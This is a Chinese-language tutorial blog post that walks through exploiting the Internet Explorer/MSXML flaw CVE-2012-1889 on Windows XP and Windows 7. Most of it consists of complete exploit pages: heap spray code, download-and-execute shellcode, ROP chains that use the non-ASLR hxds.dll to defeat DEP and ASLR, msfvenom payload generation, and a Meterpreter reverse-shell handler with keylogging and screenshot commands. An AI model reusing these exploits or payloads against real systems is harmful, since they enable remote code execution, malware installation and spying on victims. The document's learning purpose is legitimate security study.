这篇文章,主要是想记录一下自己从小白开始接触windows下IE漏洞调试的过程,也想的是给更多的新手一个参考的教程吧。大牛轻喷!
一开始是想做这个洞在xp的ie下的洞,和win7下的洞,然后再找找win8以上edge的洞来学习,想着把ie的各个版本的漏洞先摸一摸的,结果发现只做成了这个2012的老洞,不过作为新手,我感觉做到这么多已经是很足够了。
本文章在很大程度上感谢Wins0n大牛的博客,Wins0n这边没有写win7的exploit,我这边自己研究了一下写了win7下ie8的poc(rop到没有开启aslr的dll的话和xp上没什么区别~~~),同时后面加了一些msf方面的shellcode和meterpreter模块(新司机也可以看看)。
配置过程参照 http://drops.wooyun.org/tips/6814
cve-2012-1889这个漏洞是在xml解析的过程中有问题。据CVE-2012-1889描述,Microsoft XML Core Services 中的漏洞可能允许远程执行代码。微软公司将该漏洞编号为MS12-043,其描述是:“Microsoft XML Core Services 处理内存中的对象的方式中存在一个远程执行代码漏洞。如果用户查看包含特制内容的网站,则该漏洞可能允许远程执行代码。成功利用此漏洞的攻击者可以完全控 制受影响的系统。攻击者可随后安装程序;查看、更改或删除数据;或者创建拥有完全用户权限的新帐户。那些帐户被配置为拥有较少系统用户权限的用户比具有管 理用户权限的用户受到的影响要小。”(具体是啥,好像有点难分析,自己这里先着眼的是漏洞的利用,还没到漏洞机理的分析,以后有机会再分析)
堆喷射(Heap Spray)是一种payload传递技术,借助堆来将shellcode放置在可预测的堆地址上,然后稳定地跳入shellcode。为了实现heap spray,你需要在劫持EIP前,能够先分配并填充堆内存块。“需要..能够..”的意思是在触发内存崩溃前,你必须能够在目标程序中分配可控内存数据。浏览器已经为此提供了一种很简单的方法,它能够支持脚本,可直接借助javascript或者vbscript在触发漏洞前分配内存。堆喷射的运用并不局限于浏览器,例如你也可以在Adobe Reader中使用Javascript或者Actionscript将shellcode放置在可预测的堆地址上。
我们在浏览器内存里面分配字符串的时候,最终在内存中都会被转换成为BSTR字符串对象
所以我们实际的字符串的字节数如下
#!cpp (length of the string * 2) + 4 bytes (header) + 2 bytes (terminator)
因为堆与堆分配是确定的,直接假设,如果你继续分配内存块,分配器将会在连续/邻近的地址分配堆块(分配足够大的堆块,而非从后端分配器的前端获取分配),最后分配的内存块将会覆盖过某个地址,至少是可预测的地址。虽然首次分配的起始地址是可变,但利用堆喷射,在分配一定次数的内存块后,即可在可预测的地址上分配到内存块。
我们已经知道通过javascript中的字符串变量来分配内存,在上述例子中所使用的字符串很少,而shellcode通常都比较大,但相对堆中可用的虚拟内存来说还是比较少的。理论上,我们可以分配一系列变量,而每个变量又包含有shellcode,然后我们再设法跳入其中一个变量所在的内存块。多次在内存中分配shellcodle,我们将用由以下两部分数据组成内存块来喷射堆块:
nops(许多nop指令) shellcode(放置在喷射块的尾部)
如果所使用的喷射块足够大,那么利用Win32平台下堆块分配粒度,就可精确定位堆地址,这也意味着堆喷射之后,每次都能跳入nops中。如果跳到Nops,那么我们就有机会执行shellcode。下面就是一张堆块分配视图:
将所有的堆块相连放置在一块,就可以构造出一大块由nops + shellcode堆块组成的内存块。喷射前后的堆内存视图如下:
我们理解了BSTR和堆喷射的基本原理之后,下面就是要理解好的BSTR和堆块的关系。
当分配一个字符串时,它会被转换成BSTR对象。为了在堆块中保存对象,会先向堆请求一个内存块。那么这个内存块有多大呢?是否与BSTR对象的大小相同呢?或者更大?如果更大的话,那么BSTR对象是否也会一块放置在同一堆块中?或者堆只是简单地重新分配一块新的堆块?若是如此,那么构造出来连续堆块如下所示:
我们就是要避免
ida分析一下msxml3.dll,可以看到0x5dd8d7d5这里是 mov ecx,[eax],eax
是堆地址,上面的内容我们是可控的.
0x5dd8d7ea处的 call dword ptr [ecx+18h]
,可以进行eip的转移。
看第第一份poc
#!html <html> <head> <title>CVE 2012-1889 PoC</title> </head> <body> <object classid="clsid:f6D90f11-9c73-11d3-b32e-00C04f990bb4" id='poc'></object> <script> var obj = document.getElementById('poc').object; var src = unescape("%u0c0c%u0c0c"); while (src.length < 0x1002) src += src; src = "////xxx" + src; src = src.substr(0, 0x1000 - 10); var pic = document.createElement("img"); pic.src = src; pic.nameProp; obj.definition(0); </script> </body> </html>
windbg附加到进程上面去,我们来看堆的分配情况。可以看到我们的堆块喷射
第二份shellcode为download_exec的poc
#!html <html> <head> <title>CVE 2012-1889 PoC</title> </head> <body> <object classid="clsid:f6D90f11-9c73-11d3-b32e-00C04f990bb4" id='poc'></object> <script> var shellcode = "/u10EB/u4A5A/uC933/uB966/u013C/u3480/u990A/uFAE2/u05EB/uEBE8/uFFFF/u70FF/u994C/u9999/uFDC3/uA938/u9999/u1299/u95D9/uE912/u3485/uD912/u1291/u1241/uA5EA/uED12/uE187/u6A9A/uE712/u9AB9/u1262/u8DD7/u74AA/uCECF/u12C8/u9AA6/u1262/uF36B/uC097/u3F6A/u91ED/uC6C0/u5E1A/uDC9D/u707B/uC6C0/u12C7/u1254/uBDDF/u5A9A/u7848/u589A/u50AA/u12FF/u1291/u85DF/u5A9A/u7858/u9A9B/u1258/u9A99/u125A/u1263/u1A6E/u975F/u4912/u9DF3/u71C0/u99C9/u9999/u5F1A/uCB94/u66CF/u65CE/u12C3/uF341/uC098/uA471/u9999/u1A99/u8A5F/uDFCF/uA719/uEC19/u1963/u19AF/u1AC7/uB975/u4512/uB9F3/u66CA/u75CE/u9D5E/uC59A/uB7F8/u5EFC/u9ADD/uE19D/u99FC/uAA99/uC959/uCAC9/uC9CF/uCE66/u1265/uC945/u66CA/u69CE/u66C9/u6DCE/u59AA/u1C35/uEC59/uC860/uCFCB/u66CA/uC34B/u32C0/u777B/u59AA/u715A/u66BF/u6666/uFCDE/uC9ED/uF6EB/uD8FA/uFDFD/uFCEB/uEAEA/uDE99/uEDFC/uE0CA/uEDEA/uF4FC/uF0DD/uFCEB/uEDFA/uEBF6/uD8E0/uCE99/uF7F0/uE1DC/uFAFC/uDC99/uF0E1/uCDED/uEBF1/uF8FC/u99FD/uF6D5/uFDF8/uF0D5/uEBFB/uEBF8/uD8E0/uEC99/uF5EB/uF6F4/u99F7/uCBCC/uDDD5/uEEF6/uF5F7/uF8F6/uCDFD/uDFF6/uF5F0/uD8FC/u6899/u7474/u3A70/u2F2F/u6574/u7473/u632E/u6D6F/u742F/u7365/u2E74/u7865/u8065"; var fill = "/u0c0c/u0c0c"; while (fill.length <= 0x100000 / 2){ fill += fill; } fill = fill.substring(0, 0x100000/2 - 32/2 - 4/2 - shellcode.length - 2/2); var slide = new Array(); for (var i = 0; i < 200; i++){ slide[i] = fill + shellcode; } var obj = document.getElementById('poc').object; var src = unescape("%u0c0c%u0c0c"); while (src.length < 0x1002) src += src; src = "////xxx" + src; src = src.substr(0, 0x1000 - 10); var pic = document.createElement("img"); pic.src = src; pic.nameProp; obj.definition(0); </script> </body> </html>
Wins0n菊苣给的poc比较稳定,不断下来的话可以直接成功利用。所以我们在msxml.dll加载的时候断下来,用下面的命令。
#!python sxe ld:msxml3
可以看到这次我们的堆喷射位置十分准确。同时如果成功调到了0x0c0c0c0c部分的地址,但是没有成功执行shellcode的话,可以在shellcode前面放上几个0xcc0xcc相当于int 3断点,方便调试。
我们还是对着这个msxml3进行逆向(这里还是建议大家用ida加载msxml3的时候把windbg联网下载的pdb文件也加载进来,这样有了符号信息,看的很清楚),这里是漏洞触发还是和xp是一个地方,在这里就是0x6887e2d9这个地方 mov ecx,[eax] ,这里的eax由我们控制。
0x6887e2ee这个地方的 call dword ptr [ecx+18h] 。
所以我们可以劫持程序流程,win7下程序开启了DEP+ALSR,下面我们就要考虑如何绕过保护措施进行溢出。
我们还是首先借鉴Wins0n菊苣的博客三里面的poc,我们把它跑起来。
Wins0n的第三份poc
#!html <html> <head> <title>CVE 2012-1889 PoC</title> </head> <body> <object classid="clsid:f6D90f11-9c73-11d3-b32e-00C04f990bb4" id='poc'></object> <script> // [ Shellcode ] var shellcode = "/u10EB/u4A5A/uC933/uB966/u013C/u3480/u990A/uFAE2/u05EB/uEBE8/uFFFF/u70FF/u994C/u9999/uFDC3/uA938/u9999/u1299/u95D9/uE912/u3485/uD912/u1291/u1241/uA5EA/uED12/uE187/u6A9A/uE712/u9AB9/u1262/u8DD7/u74AA/uCECF/u12C8/u9AA6/u1262/uF36B/uC097/u3F6A/u91ED/uC6C0/u5E1A/uDC9D/u707B/uC6C0/u12C7/u1254/uBDDF/u5A9A/u7848/u589A/u50AA/u12FF/u1291/u85DF/u5A9A/u7858/u9A9B/u1258/u9A99/u125A/u1263/u1A6E/u975F/u4912/u9DF3/u71C0/u99C9/u9999/u5F1A/uCB94/u66CF/u65CE/u12C3/uF341/uC098/uA471/u9999/u1A99/u8A5F/uDFCF/uA719/uEC19/u1963/u19AF/u1AC7/uB975/u4512/uB9F3/u66CA/u75CE/u9D5E/uC59A/uB7F8/u5EFC/u9ADD/uE19D/u99FC/uAA99/uC959/uCAC9/uC9CF/uCE66/u1265/uC945/u66CA/u69CE/u66C9/u6DCE/u59AA/u1C35/uEC59/uC860/uCFCB/u66CA/uC34B/u32C0/u777B/u59AA/u715A/u66BF/u6666/uFCDE/uC9ED/uF6EB/uD8FA/uFDFD/uFCEB/uEAEA/uDE99/uEDFC/uE0CA/uEDEA/uF4FC/uF0DD/uFCEB/uEDFA/uEBF6/uD8E0/uCE99/uF7F0/uE1DC/uFAFC/uDC99/uF0E1/uCDED/uEBF1/uF8FC/u99FD/uF6D5/uFDF8/uF0D5/uEBFB/uEBF8/uD8E0/uEC99/uF5EB/uF6F4/u99F7/uCBCC/uDDD5/uEEF6/uF5F7/uF8F6/uCDFD/uDFF6/uF5F0/uD8FC/u6899/u7474/u3A70/u2F2F/u6574/u7473/u632E/u6D6F/u742F/u7365/u2E74/u7865/u8065"; // [ ROP Chain ] // 0x0C0C0C24 -> # retn // 0x0C0C0C14 -> # xchg eax, esp # retn // Start from 0x0c0c0c0c var rop_chain = "/uBE4C/u77BE" + // 0x77BEBE4C # retn [msvcrt.dll] "/uBE4B/u77BE" + // 0x77BEBE4B # pop ebp # retn [msvcrt.dll] "/u5ED5/u77BE" + // 0x77BE5ED5 # xchg eax, esp # retn [msvcrt.dll] "/uBE4C/u77BE" + // 0x77BEBE4C # retn [msvcrt.dll] "/uBE4C/u77BE" + // 0x77BEBE4C # retn [msvcrt.dll] "/uBE4C/u77BE" + // 0x77BEBE4C # retn [msvcrt.dll] "/uBE4C/u77BE" + // 0x77BEBE4C # retn [msvcrt.dll] // The real rop chain "/ube4b/u77be" + // 0x77bebe4b : ,# POP EBP # RETN [msvcrt.dll] "/ube4b/u77be" + // 0x77bebe4b : ,# skip 4 bytes [msvcrt.dll] "/u6e9d/u77c1" + // 0x77c16e9d : ,# POP EBX # RETN [msvcrt.dll] "/uE000/u0000" + // 0x0000E000 : ,# 0x0000E000-> ebx [dwSize] "/ucdec/u77c1" + // 0x77c1cdec : ,# POP EDX # RETN [msvcrt.dll] "/u0040/u0000" + // 0x00000040 : ,# 0x00000040-> edx "/u79da/u77bf" + // 0x77bf79da : ,# POP ECX # RETN [msvcrt.dll] "/uf67e/u77c2" + // 0x77c2f67e : ,# &Writable location [msvcrt.dll] "/uaf6b/u77c0" + // 0x77c0af6b : ,# POP EDI # RETN [msvcrt.dll] "/u9f92/u77c0" + // 0x77c09f92 : ,# RETN (ROP NOP) [msvcrt.dll] "/u6f5a/u77c1" + // 0x77c16f5a : ,# POP ESI # RETN [msvcrt.dll] "/uaacc/u77bf" + // 0x77bfaacc : ,# JMP [EAX] [msvcrt.dll] "/u289b/u77c2" + // 0x77c2289b : ,# POP EAX # RETN [msvcrt.dll] "/u1131/u77be" + // 0x77BE1131 : ,# ptr to &VirtualProtect() [IAT msvcrt.dll] 0x20-0xEF=0x31 "/u67f0/u77c2" + // 0x77c267f0 : ,# PUSHAD # ADD AL,0EF # RETN [msvcrt.dll] "/u1025/u77c2"; // 0x77c21025 : ,# ptr to 'push esp # ret ' [msvcrt.dll] // [ fill the heap with 0x0c0c0c0c ] About 0x2000 Bytes var fill = "/u0c0c/u0c0c"; while (fill.length < 0x1000){ fill += fill; } // [ padding offset ] padding = fill.substring(0, 0x5F6); // [ fill each chunk with 0x1000 bytes ] evilcode = padding + rop_chain + shellcode + fill.substring(0, 0x800 - padding.length - rop_chain.length - shellcode.length); // [ repeat the block to 512KB ] while (evilcode.length < 0x40000){ evilcode += evilcode; } // [ substring(2, 0x40000 - 0x21) - XP SP3 + IE8 ] var block = evilcode.substring(2, 0x40000 - 0x21); // [ Allocate 200 MB ] var slide = new Array(); for (var i = 0; i < 400; i++){ slide[i] = block.substring(0, block.length); } // [ Vulnerability Trigger ] var obj = document.getElementById('poc').object; var src = unescape("%u0c08%u0c0c"); // fill the stack with 0x0c0c0c08 while (src.length < 0x1002) src += src; src = "////xxx" + src; src = src.substr(0, 0x1000 - 10); var pic = document.createElement("img"); pic.src = src; pic.nameProp; obj.definition(0); </script> </body> </html>
用windbg跟入之后我们发现call指令应该转移的位置的确是在0x0c0c0c0c位置处,精确的堆喷射还是没有错的,但是rop链就不能对了,Wins0n的环境还是winxp我们这里环境是win7+IE8,下面一步一步调。
我们跟到我们call指令发现我们实现是精确的堆喷射,然后但是rop链是有问题的。
1.win7相较于win xp开启alsr,这样的话dll的地址本来就是随机的,怎么破?
已知绕过aslr的方法有三种
使用未开启ASLR的模块
修改BSTR长度/null结束符
修改数组对象
后两种方法都有各种局限性,需要附属条件,我这边就没有采取。不过大家可以在这篇文章中学习到姿势。 http://www.fireeye.com/blog/technical/cyber-exploits/2013/10/aslr-bypass-apocalypse-in-lately-zero-day-exploits.html
使用未开启ASLR的模块,有几个情况可用。
JRE 1.6.x包含了一个老版本的C 运行库 MSVCR71.DLL,编译时没有加上/DYNAMICBASE 编译选项。默认情况下,在win7+ie8 和 win7 +ie9 下,这个DLL会以固定地址加载到IE的进程中。
MS Office 2010/2007中的 HXDS.DLL 编译时也没加上相关选项,该技术最先是在 http://www.greyhathacker.net/?p=585 提出,也是当前在IE 8/9 + win7 环境下使用最频繁的过地址随机化的方法,当浏览器加载一个带 try location.href = ‘ms-help://’
语句的页面时,这个DLL就会被加载。
win7下office的帮助模块hsdx.dll没有开启aslr,那么我们就可以用这里固定的ropgadet绕过dep。
#!js try { location.href = 'ms-help://' } catch (e) {}
在html中添加这句话,让浏览器加载hsdx.dll。
因为环境不一样,所以我们要来用mona寻找rop链。
建议大家用Immunity Debugger下的mona插件找ropchain。
我们尝试了一下在windbg里面用mona好像是崩溃的,于是还是回到Immunity Debugger下用mona找ropchain
#!bash !mona rop -m hsdx.dll
可以在结果中看到,hsdx.dll是没有开启ASLR的
其实我后面又看了看,还有一些软件插件也是没有开启alsr的
像这个迅雷的XLFSIO.dll,和qq的accountprotect.dll,都没开启aslr,但是不知道为什么ie会加载这些dll,这么危险,不过这样也给了大家更多的可能性绕过aslr
下面就是mona给出的rop链来关闭掉dep,是绕到了virtualprotect函数给了我们shellcode区域可执行权限。
#!js "/u5253/u51c4" + // 0x51c45253 : ,# POP ESI # RETN [hxds.dll] "/u1158/u51bd" + // 0x51bd1158 : ,# ptr to &VirtualProtect() [IAT hxds.dll] "/u2d2e/u51bd" + // 0x51bd2d2e : ,# MOV EAX,DWORD PTR DS:[ESI] # RETN [hxds.dll] "/u9987/u51c3" + // 0x51c39987 : ,# XCHG EAX,ESI # RETN [hxds.dll] "/u60d6/u51be" + // 0x51be60d6 : ,# POP EBP # RETN [hxds.dll] "/ua9f3/u51c4" + // 0x51c4a9f3 : ,# & jmp esp [hxds.dll] "/u1cbc/u51c4" + // 0x51c41cbc : ,# POP EBX # RETN [hxds.dll] "/u0201/u0000" + // 0x00000201 : ,# 0x00000201-> ebx "/ua7d8/u51bf" + // 0x51bfa7d8 : ,# POP EDX # RETN [hxds.dll] "/u0040/u0000" + // 0x00000040 : ,# 0x00000040-> edx "/u0f9a/u51c1" + // 0x51c10f9a : ,# POP ECX # RETN [hxds.dll] "/ubeb3/u51c5" + // 0x51c5beb3 : ,# &Writable location [hxds.dll] "/u7642/u51c0" + // 0x51c07642 : ,# POP EDI # RETN [hxds.dll] "/u5c46/u51c5" + // 0x51c55c46 : ,# RETN (ROP NOP) [hxds.dll] "/u5112/u51c4" + // 0x51c45112 : ,# POP EAX # RETN [hxds.dll] "/u9090/u9090" + // 0x90909090 : ,# nop "/ua4ec/u51c0" ; // 0x51c0a4ec : ,# PUSHAD # RETN [hxds.dll]
我们的栈没有在我们想要的rop上面,所以上来先进行一次栈转移。这里的xchg eax,ebp ...leave 是可以进行一次栈转移的。下面的ropgadegt是我用ROPgadget分析hsdx.dll找来的,相较于mona,可以发现它们的区别,mona可以直接生成实现功能的rop链,但是在rop链在实际运用中的调整还是用后者来得更加方便。
#!cpp ROPgadget --binary /media/share/hxds.dll | grep "pop" 0x51bf4451 : test dword ptr [esi + ebx*4], ecx ; add byte ptr [eax], al ; mov al, byte ptr [ebp - 1] ; leave ; ret 0x51bd4f78 : xchg eax, ebp ; add eax, 0xc0330000 ; inc eax ; pop edi ; leave ; ret 4 0x51bda961 : xchg eax, ebp ; xor eax, eax ; pop ebx ; pop edi ; leave ; ret 0xc
我们注意一步一步来,第一步call指令的状态
windbg的时候,断点的位置下在这里 _dispatchImpl::InvokeHelper+0x1c769 , 0x51c4a9f3
call dword ptr [ecx+18h] //ecx=0c0c0c0c,所以下一步eip指向的是0x0c0c0c24,这里的ecx来自于前面的指令
#!bash mov ecx,[eax];//eax=0x0c0c0c08
所以我们先进行一次栈转移,这里我们来用
#!bash 0x51bda961 : xchg eax, ebp ; xor eax, eax ; pop ebx ; pop edi ; leave ; ret 0xc
这样的话,ebp会变成0x0c0c0c08,然后我们后面的leave指令会进行一次栈转移,使得esp=0x0c0c0c0c
然后我们的ret 0xc,就是相当于add esp,0xc然后把esp的dword(也就是0xc0c0c18)给eip,再把esp+4,所以我们0x0c0c0c18这里是我们下一条指令
好了经过后面的测试发现我们的rop成功的把dep关掉了,然后我们下面就是shellcode的问题(之前跑到了shellcode发现不行,后来换了msf模块化的shellcode,具体下面再讲)
#!html <html> <head> <title>CVE 2012-1889 PoC</title> </head> <body> <object classid="clsid:f6D90f11-9c73-11d3-b32e-00C04f990bb4" id='poc'></object> <script> try { location.href = 'ms-help://' } catch (e) {}; // [ Shellcode ] var shellcode = unescape("%ue8fc%u0089%u0000%u8960%u31e5%u64d2%u528b%u8b30%u0c52%u528b%u8b14%u2872%ub70f%u264a%uff31%uc031%u3cac%u7c61%u2c02%uc120%u0dcf%uc701%uf0e2%u5752%u528b%u8b10%u3c42%ud001%u408b%u8578%u74c0%u014a%u50d0%u488b%u8b18%u2058%ud301%u3ce3%u8b49%u8b34%ud601%uff31%uc031%uc1ac%u0dcf%uc701%ue038%uf475%u7d03%u3bf8%u247d%ue275%u8b58%u2458%ud301%u8b66%u4b0c%u588b%u011c%u8bd3%u8b04%ud001%u4489%u2424%u5b5b%u5961%u515a%ue0ff%u5f58%u8b5a%ueb12%u5d86%u6e68%u7465%u6800%u6977%u696e%ue689%u6854%u774c%u0726%ud5ff%uff31%u5757%u5757%u6856%u563a%ua779%ud5ff%u60eb%u315b%u51c9%u6a51%u5103%u6a51%u5350%u6850%u8957%uc69f%ud5ff%u4feb%u3159%u52d2%u0068%u6032%u5284%u5252%u5251%u6850%u55eb%u3b2e%ud5ff%uc689%u106a%u685b%u3380%u0000%ue089%u046a%u6a50%u561f%u7568%u9e46%uff86%u31d5%u57ff%u5757%u5657%u2d68%u1806%uff7b%u85d5%u75c0%u4b1d%u840f%u007a%u0000%ud1eb%u8ce9%u0000%ue800%uffac%uffff%u742f%u7365%u2e74%u7865%u0065%u6beb%uc031%u505f%u026a%u026a%u6a50%u6a02%u5702%uda68%udaf6%uff4f%u93d5%uc031%ub866%u0304%uc429%u8d54%u244c%u3108%ub4c0%u5003%u5651%u1268%u8996%uffe2%u85d5%u74c0%u582d%uc085%u1674%u006a%u5054%u448d%u0c24%u5350%u2d68%uae57%uff5b%u83d5%u04ec%uceeb%u6853%u96c6%u5287%ud5ff%u006a%u6857%u8b31%u876f%ud5ff%u006a%uf068%ua2b5%uff56%ue8d5%uff90%uffff%u7572%u646e%u3131%u652e%u6578%ue800%uff0a%uffff%u6574%u7473%u632e%u6d6f%u4100"); // [ ROP Chain ] // 0x0C0C0C24 -> # retn // 0x0C0C0C14 -> # xchg eax, esp # retn // Start from 0x0c0c0c0c //rop in hxds.dll which is not set aslr in win7 rop_chain= "/u5c46/u51c5" + // 0x51c55c46 : ,# RETN (ROP NOP) [hxds.dll] "/u5c46/u51c5" + // 0x51c55c46 : ,# RETN (ROP NOP) [hxds.dll] "/u5c46/u51c5" + // 0x51c55c46 : ,# RETN (ROP NOP) [hxds.dll] //this is the two_step rop address "/u5c46/u51c5" + // <- 0x0c0c0c18 0x51c55c46 : ,# RETN (ROP NOP) [hxds.dll] "/u5c46/u51c5" + // <- 0x0c0c0c18 0x51c55c46 : ,# RETN (ROP NOP) [hxds.dll] "/uc0bf/u51bd" + // <- 0x0c0c0c20 0x51bdc0bf : xor eax, eax ; pop ecx ; ret //real rop_chain "/ua961/u51bd" + // <- 0x0c0c0c24 0x51bda961 : xchg eax, ebp ; xor eax, eax ; pop ebx ; pop edi ; leave ; ret 0xc "/u5253/u51c4" + // <- 0x0c0c0c28 0x51c45253 : ,# POP ESI # RETN [hxds.dll] "/u1158/u51bd" + // 0x51bd1158 : ,# ptr to &VirtualProtect() [IAT hxds.dll] "/u2d2e/u51bd" + // 0x51bd2d2e : ,# MOV EAX,DWORD PTR DS:[ESI] # RETN [hxds.dll] "/u9987/u51c3" + // 0x51c39987 : ,# XCHG EAX,ESI # RETN [hxds.dll] "/u60d6/u51be" + // 0x51be60d6 : ,# POP EBP # RETN [hxds.dll] "/ua9f3/u51c4" + // 0x51c4a9f3 : ,# & jmp esp [hxds.dll]//退出virtualprotect用的 "/u1cbc/u51c4" + // 0x51c41cbc : ,# POP EBX # RETN [hxds.dll] "/u0201/u0000" + // 0x00000201 : ,# 0x00000201-> ebx "/ua7d8/u51bf" + // 0x51bfa7d8 : ,# POP EDX # RETN [hxds.dll] "/u0040/u0000" + // 0x00000040 : ,# 0x00000040-> edx "/u0f9a/u51c1" + // 0x51c10f9a : ,# POP ECX # RETN [hxds.dll] "/ubeb3/u51c5" + // 0x51c5beb3 : ,# &Writable location [hxds.dll] "/u7642/u51c0" + // 0x51c07642 : ,# POP EDI # RETN [hxds.dll] "/u5c46/u51c5" + // 0x51c55c46 : ,# RETN (ROP NOP) [hxds.dll] "/u5112/u51c4" + // 0x51c45112 : ,# POP EAX # RETN [hxds.dll] "/u9090/u9090" + // 0x90909090 : ,# nop "/ua4ec/u51c0" ; // 0x51c0a4ec : ,# PUSHAD # RETN [hxds.dll] // [ fill the heap with 0x0c0c0c0c ] About 0x2000 Bytes var fill = "/u0c0c/u0c0c"; while (fill.length < 0x1000){ fill += fill; } // [ padding offset ] padding = fill.substring(0, 0x5F6); //padding=fill.substring(0,0x60e) // [ fill each chunk with 0x1000 bytes ] evilcode = padding + rop_chain + shellcode + fill.substring(0, 0x800 - padding.length - rop_chain.length - shellcode.length); // [ repeat the block to 512KB ] while (evilcode.length < 0x40000){ evilcode += evilcode; } // [ substring(2, 0x40000 - 0x21) - XP SP3 + IE8 ] var block = evilcode.substring(2, 0x40000 - 0x21); // [ Allocate 200 MB ] var slide = new Array(); for (var i = 0; i < 400; i++){ slide[i] = block.substring(0, block.length); } // [ Vulnerability Trigger ] var obj = document.getElementById('poc').object; var src = unescape("%u0c08%u0c0c"); // fill the stack with 0x0c0c0c08 while (src.length < 0x1002) src += src; src = "////xxx" + src; src = src.substr(0, 0x1000 - 10); var pic = document.createElement("img"); pic.src = src; pic.nameProp; obj.definition(0); </script> </body> </html>
下面我们用msfpayload(kali里面已经改成了msfvenom)模块生成shellcode
参照 http://blog.csdn.net/lzhd24/article/details/50664342 这里学习怎么生成shellcode,这里我们可以生成各种各样的shellcode,简直帅呆,这里我们来初次体验一下meterpreter这个好玩的东西。
先是生成meterpreter的exe,然后再连接上它。
#!bash [email protected]
:~# msfvenom -p windows/download_exec URL=http://test.com/test.exe -f js_le #生成ie里面的js的download&exec的shellcode No platform was selected, choosing Msf::Module::Platform::Windows from the payload No Arch selected, selecting Arch: x86 from the payload No encoder or badchars specified, outputting raw payload Payload size: 435 bytes %ue8fc%u0089%u0000%u8960%u31e5%u64d2%u528b%u8b30%u0c52%u528b%u8b14%u2872%ub70f%u264a%uff31%uc031%u3cac%u7c61%u2c02%uc120%u0dcf%uc701%uf0e2%u5752%u528b%u8b10%u3c42%ud001%u408b%u8578%u74c0%u014a%u50d0%u488b%u8b18%u2058%ud301%u3ce3%u8b49%u8b34%ud601%uff31%uc031%uc1ac%u0dcf%uc701%ue038%uf475%u7d03%u3bf8%u247d%ue275%u8b58%u2458%ud301%u8b66%u4b0c%u588b%u011c%u8bd3%u8b04%ud001%u4489%u2424%u5b5b%u5961%u515a%ue0ff%u5f58%u8b5a%ueb12%u5d86%u6e68%u7465%u6800%u6977%u696e%ue689%u6854%u774c%u0726%ud5ff%uff31%u5757%u5757%u6856%u563a%ua779%ud5ff%u60eb%u315b%u51c9%u6a51%u5103%u6a51%u5350%u6850%u8957%uc69f%ud5ff%u4feb%u3159%u52d2%u0068%u6032%u5284%u5252%u5251%u6850%u55eb%u3b2e%ud5ff%uc689%u106a%u685b%u3380%u0000%ue089%u046a%u6a50%u561f%u7568%u9e46%uff86%u31d5%u57ff%u5757%u5657%u2d68%u1806%uff7b%u85d5%u75c0%u4b1d%u840f%u007a%u0000%ud1eb%u8ce9%u0000%ue800%uffac%uffff%u742f%u7365%u2e74%u7865%u0065%u6beb%uc031%u505f%u026a%u026a%u6a50%u6a02%u5702%uda68%udaf6%uff4f%u93d5%uc031%ub866%u0304%uc429%u8d54%u244c%u3108%ub4c0%u5003%u5651%u1268%u8996%uffe2%u85d5%u74c0%u582d%uc085%u1674%u006a%u5054%u448d%u0c24%u5350%u2d68%uae57%uff5b%u83d5%u04ec%uceeb%u6853%u96c6%u5287%ud5ff%u006a%u6857%u8b31%u876f%ud5ff%u006a%uf068%ua2b5%uff56%ue8d5%uff90%uffff%u7572%u646e%u3131%u652e%u6578%ue800%uff0a%uffff%u6574%u7473%u632e%u6d6f%u4100 msfvenom -p windows/meterpreter_reverse_tcp LHOST=192.168.56.102 -f exe -o meter_102.exe #!bash //msf里面开启meterpreter的监听进程 use exploit/multi/handler set PAYLOAD windows/meterpreter/reverse_tcp set LHOST 0.0.0.0 set LPORT 4444 run //然后开始玩 screenshot //截图 migrate pid //迁移到别的进程去 run /post/windows/capture/keylog_recorder #键盘记录